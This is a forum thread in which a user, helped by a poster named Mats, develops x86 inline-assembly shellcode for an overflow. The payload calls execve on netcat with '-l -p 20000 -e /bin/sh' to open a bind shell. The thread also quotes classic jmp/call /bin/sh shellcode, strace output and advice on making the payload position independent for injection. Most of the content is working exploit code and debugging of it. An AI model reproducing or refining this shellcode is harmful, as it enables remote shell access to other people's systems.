Changing .word to .long go it to compile but the code still doesn't work. None of the arguments get used. Is that a function of me using pointers instead now?
Printable View
Changing .word to .long go it to compile but the code still doesn't work. None of the arguments get used. Is that a function of me using pointers instead now?
Did you see my new post? Can you compile that on your machine, and if so, does it run?
--
Mats
It doesn't compile. It doesn't know what func is. If I change _func to func, it does compile and run though
it compiles on my machine with gcc
Code:.file "newtestasm.c"
.section .rodata
.LC0:
.string "argc = %d, argv=%p\n"
.LC1:
.string "argv[%d]='%s'\n"
.text
.globl func
.type func, @function
func:
pushl %ebp
movl %esp, %ebp
subl $40, %esp
movl 12(%ebp), %eax
movl %eax, 8(%esp)
movl 8(%ebp), %eax
movl %eax, 4(%esp)
movl $.LC0, (%esp)
call printf
movl $0, -4(%ebp)
jmp .L2
.L3:
movl -4(%ebp), %eax
sall $2, %eax
addl 12(%ebp), %eax
movl (%eax), %eax
movl %eax, 8(%esp)
movl -4(%ebp), %eax
movl %eax, 4(%esp)
movl $.LC1, (%esp)
call printf
addl $1, -4(%ebp)
.L2:
movl -4(%ebp), %eax
cmpl 8(%ebp), %eax
jl .L3
leave
ret
.size func, .-func
.globl doasm
.type doasm, @function
doasm:
pushl %ebp
movl %esp, %ebp
#APP
# 14 "newtestasm.c" 1
push $strings
push $5
call func
add $8, %esp
jmp end
strings:
.long arg0, arg1, arg2, arg3, arg4, 0
arg0:
.string "arg0"
arg1:
.string "arg1"
arg2:
.string "arg2"
arg3:
.string "arg3"
arg4:
.string "arg4"
end:
# 0 "" 2
#NO_APP
popl %ebp
ret
.size doasm, .-doasm
.globl main
.type main, @function
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
call doasm
movl $0, %eax
popl %ecx
popl %ebp
leal -4(%ecx), %esp
ret
.size main, .-main
.ident "GCC: (Ubuntu 4.3.2-1ubuntu12) 4.3.2"
.section .note.GNU-stack,"",@progbits
Ah, but for your code to work, it needs to be position independent. You will need to build your argv[] on the stack I expect. What is the upper limit for your overflow-space - you may need more space than there is... :(
--
Mats
It helps me get it to compile but I'm still not sure I understand why it doesn't work.
Here's my understanding of what should happen:
1) jmp call instruction occurs
2) instruction pointer goes to call:
3) the array at myarr is pushed onto the stack
4) the instruction pointer goes to start
5) the first thing on the stack is popped off and put into esi, this should be the array
6) I put a 0 into edx
7) I put the pointer to the array into ebx
8) I load the address of the array into ecx (this is the part I'm not sure if it's right)
9) I move the code for execve into eax
10) I call the function.
I think that that should work. It does launch nc as far as I can tell, however, it doesn't seem to use any of my arguments.
Thanks for being so patient with me
Sorry, what does it mean for it to be position independent?
PIC means that the code can execute anywhere in memory without the loader having to modify the location references in the code. In my code, the .long argv0 ... piece will contain the actual address of the string. But if you store that as a byte-array at a different place than the original compile, the address of the string is different. Since you can not rely on the linker to modify the hex-sequence, you will need to have the data-address calculated during runtime. Which means more code.
--
Mats
I guess that makes sense. It doesn't really explain why the code doesn't work as is though. Since I'm only using it where its compiled, then it should work. But also, I've seen similar code to this, granted it didn't use arguments but it did use the jmp and call trick to store the address so why is it ok for code like that to be position independent?
Here's some well known code for example that does something similar:
Code:jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
I ran an strace on my code to see what was happening. Here is the output (it just keeps looping this):
It looks like it's getting the right arguments but I think I'm missing something like maybe my path is wrongCode:execve("փك��", ["/bin/nc", "-l", "-p 20000", "-e/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
Edit. On second thought, it looks like its not doing what I want it to do. The first argument should be /bin/nc, or maybe the pointer to it...but it looks like garbage
This does the right thing but I can see what you mean about it not being position independent. But now that I think about it, how is it even possible to do anything to prevent that?Code:void main()
{
__asm__(
"jmp call\n\t"
"start:\n\t"
"pop %esi\n\t"
"mov $0x0,%edx\n\t"
"mov $arg1,%ebx\n\t"
"lea (%esi),%ecx\n\t" //how much do I count?
"mov $0xb,%eax\n\t"
"int $0x80\n\t"
"call:\n\t"
"call start\n\t"
"myarr: .long arg1,arg2,arg3,arg4,0\n\t"
"arg1: .string \"/bin/nc\"\n\t"
"arg2: .string \"-l\"\n\t"
"arg3: .string \"-p 20000\"\n\t"
"arg4: .string \"-e /bin/sh\""
);